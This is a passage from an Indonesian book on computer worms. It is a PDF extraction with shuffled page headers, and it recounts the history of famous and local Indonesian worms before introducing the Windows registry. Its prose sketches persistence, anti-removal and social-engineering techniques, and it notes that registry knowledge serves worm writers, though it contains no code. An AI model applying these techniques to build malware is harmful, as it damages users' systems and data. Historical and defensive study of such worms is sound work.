menyebar dengan memanfaatkan e-mail dan mengeksploitasi system untuk mendapatkan hak akses dengan berusaha mencari account user name dan password.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. Mengenal Worm
Virus kemudian mencari sebuah key pada registry yang mengandung kata "kwyjibo", apabila key tersebut tidak ditemukan, virus akan mengeksekusi aplikasi Outlook dan berusaha mengirimkan salinan dirinya kepada 50 penerima yang ada pada address book (buku alamat) aplikasi Outlook. Sebagai tambahan virus menulari file template aplikasi Word "normal.dot" menggunakan fitur VBA macro "Auto Execute", file dokumen yang berasal dari file template tersebut akan membawa serta virus tersebut.
2.5.5 PRETTY PARK Sebuah worm lainnya menyebar luas dimusim panas tahun 1999. Worm yang dinamakan "PrettyPark" ini menyertakan attachment berupa file "Pretty Park.exe". Tidak ada penjelasan pada attachment, hanya saja file tersebut menggunakan icon bergambar seekor beruang, yang merupakan sebuah karakter pada suatu pertunjukan televisi "South Park". Jika dieksekusi, worm menginstal dirinya ke direktori System Windows dan memodifikasi registry yang membuat worm tersebut aktif saat file ber-ekstensi "exe" apa saja dieksekusi. Hal ini menjadi permasalahan bagi program antivirus, yang tentunya juga ber-ekstensi "exe". Worm juga mengirimkan salinan dirinya pada alamat e-mail yang ada pada buku alamat Windows. Pretty Park kemudian berusaha mengirimkan beberapa data system dan password pada sebuah server IRC (internet relay chat) tertentu, terakhir dilaporkan bahwa worm ini memasang suatu backdoor.
2.5.6 EXPLORE ZIP Pada bulan Juni tahun 1999, muncul sebuah worm bernama "ExploreZip" yang menyamar sebagai file zip (file terkompresi) dalam attachment sebuah e-mail yang jika dieksekusi akan menampilkan pesan kesalahan. ExploreZip secara diam-diam menyalin dirinya kedalam direktori System Windows dan memodifikasi registry.
14
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
pada tanggal 9 Januari 2003 ExploreZip kemudian dilaporkan menghasilkan varian baru. Varian ini bernama ExploreZip.N varian dan cukup merepotkan pengguna komputer di Indonesia. Salah satu metode penyebarannya menggunakan e-mail yang memiliki attachment berupa file ZIPPED_FILES.EXE saat file ini dieksekusi maka worm menginstal dirinya sendiri pada system Windows. Worm ini meng-overwrite (menimpa) file dokumen dengan ekstensi DOC (Microsoft Word), XLS (Microsoft Excel), PPT (Microsoft Powerpoint), ASM (Assembler), CPP (C++), C (File C), H (Header C) sehingga file-file tersebut sulit untuk diselamatkan.
2.5.7 BUBBLE BOY Awal tahun 2000, muncul sebuah virus yang membawa sebuah konsep baru "BubbleBoy". Virus ini menunjukkan bahwa sebuah komputer dapat tertular hanya dengan melihat e-mail, tanpa harus membuka pesannya. Virus ini mengambil keuntungan dengan adanya celah keamanan pada aplikasi Internet Explorer, yang secara otomatis mengeksekusi script Visual Basic yang terdapat pada body e-mail. Virus akan datang sebagai sebuah e-mail dengan subjek "BubbleBoy is back", pesan berbentuk file HTML dan mengandung script virus dalam bahasa Visual Basic. Jika menggunakan aplikasi Outlook, script tersebut akan dijalankan walaupun yang dilakukan hanya preview. File tersebut akan ditambahkan pada direktori StartUp Windows, sehingga apabila komputer dihidupkan virus akan berusaha mengirimkan dirinya pada setiap alamat yang ada pada address book aplikasi Outlook. Diwaktu yang hampir bersamaan, worm "KAK" tersebar dengan cara yang serupa.
15
Jasakom
Bab 2. Mengenal Worm
Seperti worm lainnya, ExploreZip juga melakukan penyebaran lewat e-mail dengan memanfaatkan aplikasi Outlook atau Exchange, dengan mengawasi e-mail yang masuk dan membalas e-mail tersebut dengan salinan dirinya.
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.5.8 LOVE LETTER
Bab 2. Mengenal Worm
Dibulan Mei 2000, lajunya penyebaran worm "LoveLetter" menunjukkan efektifitas serangan dengan metode social engineering, yang hingga saat ini sudah menjadi suatu kebiasaan suatu worm dalam penyebarannya. E-mail yang berisi worm ini memiliki subjek "I Love You" yang berarti "Saya Cinta Kamu" dan berisi pesan-pesan yang mendorong user untuk mengeksekusi attachment yang merupakan worm tersebut. File attachment berupa Visual Basic Script yang bisa dieksekusi dengan Windows Script Host (bagian dari Windows98, Windows2000, Internet Explorer 5, atau Outlook 5). Ketika dieksekusi, LoveLetter menginstal dirinya kedalam direktori System Windows dan memodifikasi registry untuk memastikan bahwa worm akan aktif saat komputer dihidupkan. Ketika komputer lainnya terinfeksi, dan jika aplikasi Outlook terinstal pada komputer tersebut, maka worm akan mengirimkan salinannya pada siapa saja yang ada pada address book aplikasi Outlook. Sebagai tambahan worm akan membuat koneksi IRC dan mengirimkan salinan dirinya pada siapa saja yang bergabung pada saluran IRC tersebut. LoveLetter juga memiliki kemampuan untuk mencuri password. Dengan mengubah home page (alamat url yang akan diakses pertama kalinya) pada Internet Explorer ke suatu website di Asia, worm akan mengusahakan agar suatu trojan horse di download dari website tersebut, dimana trojan horse tersebut akan mengumpulkan password e-mail dan mengirimkannya ke suatu alamat di Asia.
2.5.9 HYBRIS Dibulan Oktober 2000, worm Hybris menyebar dengan e-mail berattachment. Jika dieksekusi akan memodifikasi file WSOCK32.DLL dalam rangka menjejaki semua lalu lintas ber-internet. Untuk setiap e-mail yang terkirim worm akan mengirimkan salinan dirinya ke alamat penerima yang sama. Yang menarik dari worm ini yaitu; bisa men-download file update untuk dirinya sendiri dari newsgroup "alt. comp.virus" metode yang digunakan termasuk canggih dan sangat berbahaya karena payload worm tersebut bisa diubah kapan saja.
16
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Pada bulan Februari 2001, kembali sebuah worm mencemaskan para pengguna internet, yang memanfaatkan kepopuleran seorang petenis asal Rusia "Anna Kournikova". Worm ini dibawa dalam suatu attachment e-mail yang menyatakan bahwa lampiran tersebut adalah file gambar dalam bentuk file jpg yang memuat foto pemain tenis tersebut. Apabila file tersebut dieksekusi maka akan mengirimkan salinan dirinya kepada setiap nama yang terdaftar pada buku alamat Microsoft Outlook.
2.5.11 SADMIND Pada bulan Mei 2001, worm Sadmind menyebar dengan mentargetkan 2 vulnerability (kelemahan) pada 2 sistem operasi yang berbeda, dan menjadi teladan untuk worm berikutnya yang bisa melakukan serangan dengan berbagai kombinasi. Pertama kali yang dilakukannya adalah meng-eksploitasi vulnerability buffer overflow pada sistem operasi Sun Solaris, dan menginstal suatu program agar bisa melakukan komunikasi dengan IIS webserver guna melakukan suatu serangan. Vulnerability ini kemudian diumumkan pada tanggal 18 Juni 2001, yang menunjuk sebagai vulnerability pada Index Server ISAPI.
2.5.12 CODE RED Memanfaatkan vulnerability pada Index Server ISAPI tersebut, pada tanggal 12 Juli 2001 muncul sebuah worm dengan nama "Code Red" yang menyerang semua IIS webserver, dengan aksi mengubah tampilan awal website pada server yang tertular. Pertama kali worm menginstal dirinya pada system, membaca IP system dan dari IP tersebut worm menyusun 99 IP baru, kemudian melakukan pemeriksaan sistem operasi pada IP yang berhasil disusunJika worm menemukan sebuah IP target menggunakan sistem operasi
17
Jasakom
Bab 2. Mengenal Worm
2.5.10 ANNA KOURNIKOVA
Computer Worm 1 - Secret of Underground Coding : Uncensored
Microsoft Windows maka worm akan meng-eksploitasi server target tersebut, dan melakukan deface (mengubah halaman awal suatu website) dengan tampilan "Welcome to the www.worm.com ! hacked by Chinese!." Bab 2. Mengenal Worm
Berikutnya worm mencari file c:\notworm. Worm tidak akan menghentikan serangannya jika file tersebut tidak ditemukan. Pada tanggal 20 Juli worm akan melakukan serangan DOS (denial of service) pada server www.whitehouse.gov, kemudian pada tanggal 27 worm membuat dirinya dalam kondisi dormant (fase saat worm menjadi tidak aktif) secara permanen. Tidak begitu lama pada tanggal 19 Juli 2001, muncul Code Red I yang merupakan versi kedua dari worm Code Red dengan penyebaran yang lebih cepat. Banyak perbaikan pada program worm sehingga mampu menginfeksi 359.000 unit komputer hanya dalam waktu 14 jam, seperti versi pertama worm ini juga membuat dirinya dalam kondisi dormant pada tanggal 20 Juli secara permanen. Di bulan Agustus 2001, kembali Code Red muncul dengan versi berbeda "Code Red II", muncul dengan payload yang sangat berbahaya. Worm ini masih memanfaatkan vulnerability yang sama dengan versi sebelumnya, sedikit perubahan pada program, worm ini akan membuat suatu trojan "explorer.exe" dan ditempatkan pada direktori root.
2.5.13 NIMDA Tanggal 18 September 2001, worm Nimda adalah worm yang termasuk paling banyak menginfeksi komputer di Indonesia, muncul dengan memuat payload yang sangat berbahaya dan menggunakan beragam cara dalam penyebarannya, pada 12 jam pertama saja worm ini sudah berhasil menginfeksi 450.000 unit komputer, dan dalam dua hari Nimda berhasil menginfeksi 2,2 juta komputer serta menyebabkan kerugian sebesar US $ 370 juta. Walaupun worm ini tidak menggunakan metode baru dalam penyebarannya, tetapi dengan penggabungan beberapa metode dalam suatu worm, menunjukkan adanya tingkatan baru atas kompleksitas yang tidak terlihat sebelumnya. Nimda melakukan penyebaran dengan mengirimkan salinan dirinya melalui e-mail dengan subjek random (acak) dan sebuah file attachment "readme.exe".
18
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bila komputer terinfeksi berada dalam suatu jaringan maka secara otomatis Nimda mencari direktori yang di sharing dari komputer lain dan memberikan hak tulis penuh (full access) kemudian membuat salinan dirinya ke dalam direktori-direktori tersebut, dengan mengambil nama file secara random pada daftar file yang ada pada komputer terinfeksi, dengan menggunakan ekstensi EML atau NWS. Pada server yang terinfeksi, file-file halaman web akan disisipkan script baru yang secara otomatis mengakses file readme.eml saat halaman web tersebut dibuka. Dalam penyebarannya, Nimda juga memanfaatkan backdoor pada server yang terinfeksi CodeRed2 atau Sadmind. Banyaknya perubahan pada file system dan registry membuat worm ini sulit untuk dibersihkan.
2.5.14 BADTRANS.B Pada bulan November 2001, BadTrans kembali beraksi setelah kemunculan perdananya pada tanggal 12 April 2001 dengan teknik yang lebih canggih dan bisa dikatakan sebagai era baru dalam social engineering. BadTrans.B memeriksa direktori inbox pada aplikasi Outlook dengan mencari e-mail yang belum dibuka oleh user, kemudian membalas e-mail tersebut dengan file attachment berupa salinan dirinya sendiri. Seperti Nimda, e-mail yang dikirimkan berupa halaman html dan secara otomatis mengaktifkan file attachment walaupun e-mail tersebut hanya dilihat pada preview pane saja. Pada proses pengiriman e-mail BadTrans.B menambahkan underscore (tanda garis bawah) "_" disetiap awal alamat pengirim, sehingga apabila e-mail tersebut di-reply (balas) maka e-mail balasan tersebut tidak akan sampai pada alamatnya. BadTrans.B akan menginstal suatu program trojan yang akan mencuri user name dan password kemudian mengirimkannya pada suatu alamat e-mail tertentu, dilaporkan worm ini mengakibatkan kerugian sebesar US $ 210 juta.
19
Jasakom
Bab 2. Mengenal Worm
Nimda memanfaatkan celah keamanan pada Internet Explorer dan Outlook Express 5.01 dan 5.5 Service Pack 1, dimana e-mail yang dikirimkan Nimda berupa halaman html yang memiliki body script tertentu dengan tujuan akan secara otomatis mengaktifkan file attachment walaupun e-mail tersebut hanya dilihat pada preview pane saja.
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.5.15 KLEZ Worm Klez muncul di bulan Oktober 2001, seperti worm lainnya worm ini pun menggunakan kelemahan IE dan OE sehingga worm tereksekusi dengan sendirinya walau hanya dilihat pada preview pane saja. Bab 2. Mengenal Worm
Klez hanya menggunakan sarana e-mail dalam penyebarannya. Klez menyatukan suatu keunikan dengan pendekatan sosial yang inovatif, dengan memilih salah satu alamat e-mail yang ada pada komputer terinfeksi dan menggunakan alamat tersebut sebagai alamat pengirim, kemudian mengirimkan salinan dirinya ke seluruh alamat e-mail yang lain. Dengan cara ini terlihat, seolah-olah e-mail dikirim oleh seseorang yang benar-benar dikenal oleh penerima. Tanggal 11 Nopember 2001, dilaporkan kembali varian lain dari worm tersebut. Klez.d memiliki rutin baru yang akan memeriksa database alamat e-mail dari pengguna ICQ sebagai target pengiriman. Saat dieksekusi worm menginstal dirinya kedalam direktori System Windows dengan nama file "WinSvc.exe" dan melakukan modifikasi pada registry sehingga worm akan aktif saat komputer dihidupkan. Varian lainnya muncul dengan nama Klez.e dan dilaporkan pada tanggal 17 Januari 2002. Saat dieksekusi worm akan menginstal dirinya kedalam direktori System Windows dengan nama file "WINK???.EXE", dimana ??? adalah variabel random berupa angka 2 dan 3. Seperti Klez. d worm ini juga memodifikasi registry dengan alasan yang sama, Selain itu worm ini juga telah dipersenjatai dengan pembunuh program antivirus yang bisa mendeteksi Nimda, Code Red, Sircam dan Fun Love. Pada varian selanjutnya, e-mail tidak hanya terlihat berasal dari seorang teman tetapi klez menyisipkan sebuah tool "imunitas" sebagai attachment dan penerima diajarkan untuk menon-aktifkan antivirus mereka agar bisa menjalankan tool tersebut, dengan mengikuti petunjuk tersebut, dan saat attachment tersebut dieksekusi maka sebenarnya user malah menginstal Klez serta virus ElKern pada komputer mereka. Klez merupakan salah satu worm yang memiliki siklus hidup terpanjang, yang pernah mengacaukan dunia internet. Pertama kali dilaporkan pada bulan Oktober 2001, dan mendominasi pada tahun 2002 sebagai worm yang paling lazim di internet.
20
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
2.5.16 SLAMMER Serangan worm Slammer dimulai pada tanggal 23 Januari 2003, worm yang hanya berukuran 369 byte ini menjadikan Slammer sebagai worm dengan ukuran terkecil yang pernah ada. Cara kerja worm ini hampir sama dengan CodeRed, dan tidak memodifikasi registry. Slammer memanfaatkan vulnerability yang ditemukan oleh Next Generation Security Software Limited pada bulan Juli 2002 dimana dengan memanfaatkan vulnerability ini, penyerang dapat menguasai SQL Server dan kode pemrograman yang berhasil dimasukkan akan berjalan sebagai system karena hak dari MS SQL Server di dalam komputer adalah system. Worm ini bukan merupakan mass mailer dan hanya menyebarkan dirinya melalui scanning port 1434.
2.5.17 BAGLE Di minggu ketiga Januari 2004, sebuah worm yang disinyalir berasal dari Jerman ternyata sukses meraih peringkat pertama sebagai worm yang paling banyak dihentikan. Worm yang kemudian diketahui bernama Bagle ini memiliki siklus hidup yang tergolong singkat, Bagle memasuki fase dormant secara permanen pada tanggal 28 Januari 2004 dan berusaha untuk menghapus file launcher-nya. Bagle memiliki ukuran file sebesar 15 Kb, dan melakukan penyebaran dengan cara mengirimkan file infector melalui e-mail ber-attachment, dengan tujuan pengiriman yang dikoleksi dari file-file berekstensi txt, htm, html dan wab pada sistem lokal. Saat file infector dieksekusi, Bagle membuat salinan file worm pada direktori System Windows, kemudian memanipulasi registry agar worm tereksekusi setiap kali Windows startup.
21
Jasakom
Bab 2. Mengenal Worm
Akhir tahun 2003 kembali dilaporkan varian Klez.H sebagai ancaman, walaupun sukar menentukan besar kerugian yang ditimbulkan, tetapi diperkirakan Klez dan varian-nya menimbulkan kerugian sebesar US $ 9 milyar.
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.5.18 NETSKY
Bab 2. Mengenal Worm
Tidak begitu lama setelah kemunculan worm Bagle, sebuah worm lainnya menyebar dengan kecepatan yang lebih tinggi. Worm Netsky melakukan penyebaran dengan cara yang sama seperti yang dilakukan worm Bagle, hanya saja Netsky memiliki beberapa rutin yang memungkinkan dirinya dapat melakukan penyebaran dengan menggunakan media aplikasi peer to peer. Netsky mengirimkan salinan dirinya melalui sebuah e-mail ber-attachment dan dalam bentuk file terkompresi. File worm berukuran sebesar 22 Kb dan menggunakan icon yang disamarkan sehingga terlihat sebagai sebuah file dokumen Microsoft Word. Saat file infector dieksekusi Netsky membuat salinan file worm pada direktori Windows dengan nama file 'services.exe’, kemudian memanipulasi beberapa nilai registry yang bertujuan agar worm dapat tereksekusi setiap kali Windows startup.
2.6 PERKEMBANGAN WORM LOKAL Berikut ini beberapa catatan singkat tentang worm lokal yang pernah ada dan dibuat oleh worm writer asal Indonesia.
2.6.1 I-WORM PERKASA Pada bulan 6 Desember 2001 muncul sebuah worm lokal. Worm yang terkompresi dengan UPX ini memiliki ukuran sebesar 12,288 Kb dan dibuat dengan menggunakan program Visual Basic. Worm yang juga disebut dengan nama I-Worm.Imelda atau I-Worm Updater ini menggunakan media Microsoft Outlook dalam penyebarannya, saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'UPDATE.EXE’, kemudian menambahkan suatu nilai registry pada sub key 'Run’ agar worm ini tetap aktif saat Windows startup.
22
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Worm lokal lainnya muncul dipertengahan bulan September 2003 dengan menggunakan icon Microsoft Word. Worm yang terkompresi dengan ASPack ini juga sering dipanggil dengan sebutan Kenangan, Puisi Cinta, Hallo, Mistery atau MyHeart. Hal ini disebabkan karena worm Pesin menggunakan nama-nama tersebut sebagai nama dari file infector. Worm Pesin menggunakan media disket dalam proses penyebaran, hal ini sangat efektif mengingat penggunaan disket masih sangat diminati oleh pengguna komputer di Indonesia. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'SysTask.exe’, Pesin juga membuat salinan pada direktori My Documents dengan nama file 'MyHeart.exe’ kemudian menambahkan suatu nilai registry pada sub key 'Run’ agar worm ini tetap aktif saat Windows startup, yang menarik dari worm ini adalah worm akan menonaktifkan program Registry Editor jika user berusaha untuk menjalankannya.
2.6.3 TABARU Pada awal januari 2005 kembali diketahui sebuah worm lokal yang membawa-bawa nama pembawa acara Jejak Petualang di TV7 yaitu Riyanni Djangkaru. Worm ini memiliki ukuran file sebesar 40 Kb dengan icon yang disamarkan sehingga terlihat seperti file jpg. Saat file infector dieksekusi worm membuat dua file, yaitu file 'xpshare.exe’ pada direktori 'C:\!submit’ dan file 'riyani_jangkaru.exe’ pada root direktori ’C:\’, kemudian menambahkan value 'winloader’ pada registry run yang akan mengaktifkan worm setiap Windows startup. Hanya saja worm ini baru banyak dikenal pada pertengahan Juli 2005.
23
Jasakom
Bab 2. Mengenal Worm
2.6.2 PESIN
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.6.4 KANGEN
Bab 2. Mengenal Worm
Pada pertengahan April 2005, suatu worm lokal kembali meresahkan pengguna komputer, dengan berbekal refrain lagu Kangen (Dewa 19) worm ini sukses menginfeksi ratusan komputer di Indonesia. Seperti worm lokal terdahulu, Kangen juga dibuat dengan Visual Basic, menggunakan icon Microsoft Word dan melakukan penyebaran lewat disket, anehnya worm satu ini sama sekali tidak dikompresi J. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori System Windows dengan nama 'CCAPPS.EXE’ dengan ukuran file sebesar 64 Kb, yang menarik dari worm ini adalah worm akan berusaha menonaktifkan program Task Manager, MS Config dan Registry Editor. Saat buku ini ditulis worm Kangen sudah mencapai varian M.
2.6.5 KUMIS Diawal bulan Juli 2005, seorang worm writer yang konon terinspirasi oleh seorang dosennya yang berkumis tebal membuat worm yang kemudian disebut dengan worm Kumis. Worm ini berukuran sebesar 76 Kb dan dikhususkan untuk sistem operasi Windows XP dan Windows Server 2003. Saat file infector dieksekusi worm ini membuat salinan dirinya ke direktori System Windows dengan nama 'username logon.exe’ dimana username adalah nama user aktif, kemudian memanipulasi registry agar worm tetap aktif. Menariknya, worm kumis ini akan me-restart komputer setiap kali Windows startup.
24
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
2.6.6 DECOIL
Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori Windows dengan nama 'lExplorer.exe’, pada direktori System Windows dan sub direktori '\i75-d2’ dengan nama file 'dkernel.exe’. Decoy tergolong worm dengan ukuran yang sangat besar yaitu sebesar 154 Kb (besar file ini setelah dikompres dengan UPX).
2.6.7 RONTOKBRO Diawal bulan Oktober 2005, pengguna komputer di Indonesia kembali dikejutkan oleh sebuah worm lokal yang sudah menggunakan smtp sendiri dalam mengirimkan file infector-nya dan selektif dalam pemilihan alamat e-mail target. Worm yang diisukan sebagai worm lokal ter-anyar yang pernah ada ini ternyata dibuat dalam bahasa Visual Basic , RontokBro juga memblokir aplikasi Registry Editor dan memonitor caption pada aplikasi browser, jika suatu string tertentu ditemukan oleh RontokBro maka komputer akan di-restart secara otomatis.
2.6.8 NOBRON Tidak begitu lama setelah kemunculan RontokBro, worm yang kemudian dikenali dengan nama W32/Nobron.A@mm oleh Norman Virus Control ini berusaha untuk membersihkan system dari worm RontokBro, Nobron memiliki ukuran file sebesar 84 Kb. Worm juga berusaha untuk menonaktifkan aplikasi Registry Editor, MS Config, Task Manager dan CMD. Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori System Windows dengan nama 'MsPatch.exe’, selain itu Nobron juga membuat salinan ke setiap root dari masing-masing drive termasuk USB Flash Disk dengan nama file 'foto administrator.exe’.
25
Jasakom
Bab 2. Mengenal Worm
Worm Decoil yang juga sering disebut Decoy ini muncul di penghujung tahun 2005, worm lokal ini menyembunyikan file dokumen Microsoft Word dan membuat salinan dengan nama yang persis dengan nama file yang disembunyikan.
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.6.9 RUNITIS
Bab 2. Mengenal Worm
Pada akhir bulan Nopember 2005, kembali diketahui sebuah worm lokal dengan ukuran file sebesar 164 Kb dan telah dikompres dengan aplikasi ASPack. Worm ini menggunakan nama yang diambil dari nama seorang penyanyi dari Malaysia yaitu Siti Nurhaliza (Runitis jika dibaca terbalik menjadi Sitinur). Runitis menggunakan icon Internet Explorer dalam penyebarannya. Worm ini menghapus file program regedit.exe (Registry Editor), msconfig.exe (MS Config), wmplayer.exe (Windows Media Player), winamp.exe dan winampa. exe (Winamp) serta beberapa file program lainnya kemudian membuat salinan dirinya dengan nama dan letak yang sama, sehingga user malah akan menjalankan worm apabila mengeksekusi aplikasi-aplikasi tersebut.
2.6.10 BLUEFANTASY Di akhir bulan Januari 2006, sebuah worm lokal bernama BlueFantasy ikut berlomba dengan worm lainnya, walaupun worm yang berukuran 68 Kb ini tidak melewati proses enkripsi dan kompresi namun BlueFantasy mempertahankan ciri khas worm komputer yang membuat banyak salinan, dengan cara memonitor direktori aktif dan membuat salinan pada direktori tersebut. Saat file infector dieksekusi BlueFantasy meng-copy dirinya ke direktori System Windows dengan nama file 'Win32.com’ dan menggunakan atribut Hidden, selain itu worm juga membuat salinan pada direktori Desktop, My Documents, dan StartUp. Kemudian worm memanipulasi suatu nilai registry yang akan membuat file worm tetap tereksekusi saat Windows startup, dan membuat type file executable seperti exe dan scr akan terlihat sebagai aplikasi Microsoft Word.
26
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
2.6.11 ROMDIL
Worm Romdil memiliki ukuran file sebesar 40 Kb untuk varian A dan sebesar 41 Kb untuk varian B, worm ini telah dikompres dengan menggunakan aplikasi UPX, Selain itu worm ini menggunakan icon dengan gambar Folder, dan disamarkan sebagai file aplikasi Windows Explorer. Untuk bertahan pada suatu system, Romdil berusaha untuk mencegah user mengeksekusi aplikasi CMD (command prompt), MS Config, Registry Editor, Task Manager, dan beberapa fasilitas Windows seperti Search dan Run.
2.6.12 MYBRO Di bulan Maret 2006, sebuah varian lain dari worm RontokBro kembali di-release dan diperkirakan dibuat dengan menggunakan bahasa C. MyBro memiliki ukuran file sebesar 51 Kb dan menggunakan icon dengan gambar Folder. Worm MyBro diperkirakan menggunakan / meniru source code worm yang sudah ada sehingga pola worm tersebut dapat terdeteksi dengan mudah oleh teknologi SandBox dari Norman Virus Control. Untuk bertahan pada suatu system, MyBro berusaha untuk mematikan service antivirus dari Norman, TrendMicro, Norton, McAfee, AVG, Bit Defender, Panda dan PC Cilin. Selain itu MyBro berusaha untuk menghapus file Microsoft Visual Basic Virtual Machine yang akan menggagalkan proses untuk setiap aplikasi yang dibuat dengan menggunakan bahasa Visual Basic, serta melakukan blocking ke beberapa situs tertentu.
27
Jasakom
Bab 2. Mengenal Worm
Pertengahan bulan Februari 2006, sebuah worm lokal lainnya muncul dan dideteksi Norman Virus Control sebagai w32/Romdil, seperti kebanyakan worm lokal, worm inipun dibuat dengan menggunakan bahasa Visual Basic.
Computer Worm 1 - Secret of Underground Coding : Uncensored
2.6.13 IRCBOT.AQF
Bab 2. Mengenal Worm
Dibuat pada awal tahun 2006 dan mulai dikenal pada bulan April 2006, worm IRCBot menyebar dengan memuat sebuah pesan yang ditujukan pada Presiden. Worm yang berasal dari Borneo alias Kalimantan ini tidak berusaha untuk mematikan proses Task Manager ataupun Registry Editor sebagai metode life defender, namun sebagai gantinya IRCBot menggunakan metode Watcher yang terbilang masih baru pada awal tahun 2006, yang akan me-restart komputer jika proses salah satu file launcher dimatikan. File worm berukuran 32 Kb dan menggunakan icon file dokumen Microsoft Word.
2.6.14 LIGHTMOON Worm dengan nama sebutan yang bisa memiliki arti sebagai bulan purnama ini, menyebar dipenghujung April 2006 dengan barisan puisi yang terinspirasi dari bulan purnama. LightMoon menggunakan icon folder dan memiliki ukuran file sebesar 39 Kb, umumnya memiliki beberapa kesamaan teknik dengan worm lokal lainnya, hanya saja LightMoon ini akan mengalihkan akses dari fungsi MS Config, Registry Editor, Task Manager dan Command Prompt pada file launcher worm, sehingga user malah mengeksekusi worm tersebut apabila menjalankan salah satu fungsi tersebut.
28
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 3. Registry Windows
BAB 3 REGISTRY WINDOWS
Kenapa bab ini ada?
Dalam sistem operasi Microsoft Windows, keberadaan registry menjadi sangat vital karena registry menyimpan pengaturanpengaturan baik oleh sistem operasi itu sendiri maupun program aplikasi yang terinstal. Keberadaan registry menjadi suatu keuntungan bagi worm writer untuk membuat suatu worm tetap aktif saat komputer dihidupkan, bahkan dengan registry pula suatu worm bisa melumpuhkan program yang bisa membahayakan worm tersebut. Sebaliknya dengan memiliki pengetahuan tentang registry, seorang administrator sistem akan lebih mudah dalam menangani worm, bahkan tidak sesekali penulis temukan bahwa hanya dengan menghapus registry milik suatu worm, ternyata mampu melumpuhkan worm tersebut.
29
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
R XP.
egistry adalah suatu database yang digunakan untuk menyimpan pilihan dan pengaturan pada system Microsoft Windows versi 32 bit yang mencakup Windows 95, 98, ME, NT/2000 dan
Bab 3. Registry Windows
Registry berisi pengaturan dan informasi untuk semua hardware (perangkat keras), software (perangkat lunak), user (pengguna), dan pilihan-pilihan yang berkaitan dengan komputer tersebut. Ketika user melakukan perubahan pada pengaturan control panel, atau asosiasi file, system policies, atau menginstall suatu software, maka perubahan tersebut akan tersimpan di registry. File data pada registry disimpan dengan cara yang berbeda dan tergantung pada versi Windows yang digunakan. Pada Windows 95 & 98 file data terdapat di dua file Hidden di dalam direktori Windows, yaitu file USER.DAT dan SYSTEM.DAT, untuk Windows ME ada suatu tambahan berupa file CLASSES.DAT, sedangkan pada Windows NT/2000/XP file dimasukkan secara terpisah di dalam direktori %Systemroot%\System32\Config. Anda tidak bisa mengubah file ini secara langsung, tetapi harus menggunakan suatu tool yang disebut sebagai Registry Editor untuk membuat perubahan apapun pada registry.
3.1 STRUKTUR REGISTRY Registry memiliki struktur hirarki yang mirip dengan struktur direktori pada aplikasi Windows Explorer. Masing-masing cabang utama disebut hive. Hive berisi key (kunci) dan masing-masing key bisa berisi key-key yang lain (sub-key), dan key bisa berisikan value (nilai). Value memuat data informasi aktual yang disimpan di dalam registry. Ada tiga jenis data yang umumnya digunakan yaitu; String, Binary, dan DWORD – penggunaan masing-masing data ini tergantung pada konteks.
30
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
3.1.1 HIVE
1. HKEY_CLASSES_ROOT: hive ini berisi semua informasi tentang file asosiasi untuk mendukung fitur drag-and-drop, informasi OLE, windows shortcuts, dan aspek inti pada tampilan Windows. 2. HKEY_CURRENT_USER: hive ini merujuk pada bagian HKEY_USERS, sesuai dengan user yang sedang aktif dan berisi informasi seperti nama logon, pengaturan desktop, dan pengaturan Startmenu. 3. HKEY_LOCAL_MACHINE: hive ini berisi informasi spesifik komputer tentang jenis hardware, software, dan pilihan-pilihan yang berkaitan dengan komputer tersebut, dan informasi ini digunakan untuk semua user pada komputer itu. 4. HKEY_USERS: hive ini berisi pilihan individu untuk masing-masing user yang menggunakan komputer, masing-masing user diwakili oleh suatu Sid sub-key yang ditempatkan di bawah cabang utama. 5. HKEY_CURRENT_CONFIG: hive ini merujuk pada bagian HKEY_LOCAL_MACHINE, sesuai dengan konfigurasi hardware yang berlaku saat itu. 6. HKEY_DYN_DATA: hive ini merujuk suatu bagian dari HKEY_LOCAL_MACHINE, untuk digunakan dengan fitur plug & play pada Windows, bagian ini bersifat dinamis dan akan berubah ketika suatu alat ditambahkan atau dipindahkan dari system.
3.1.2 VALUE Masing-masing value disimpan dengan beberapa jenis data, yang paling sering digunakan adalah: 1. REG_BINARY: Jenis ini menyimpan nilai sebagai data biner. Kebanyakan informasi komponen perangkat keras disimpan sebagai data biner, dan dapat dilihat pada sebuah editor dalam format hexadecimal.
31
Jasakom
Bab 3. Registry Windows
Ada enam hive atau cabang utama pada registry, masing-masing berisi suatu porsi spesifik menyangkut informasi yang disimpan di dalam registry tersebut. Adapun hive-hive tersebut adalah sebagai berikut:
Computer Worm 1 - Secret of Underground Coding : Uncensored
2. REG_DWORD: Jenis ini mewakili data dengan empat byte nomor; dan biasanya digunakan untuk nilai-nilai boolean, seperti "0" berarti disabled dan "1" berarti enabled. 3. REG_SZ: Jenis ini adalah suatu string standar, yang digunakan untuk mewakili value yang bisa dibaca manusia.
Bab 3. Registry Windows
3.2 REGISTRY EDITOR (REGEDIT) Aplikasi Registry Editor adalah suatu tool yang memudahkan kita untuk mengubah pengaturan pada system registry. Registry Editor secara otomatis disediakan saat pertama kali suatu sistem operasi Windows diinstal.
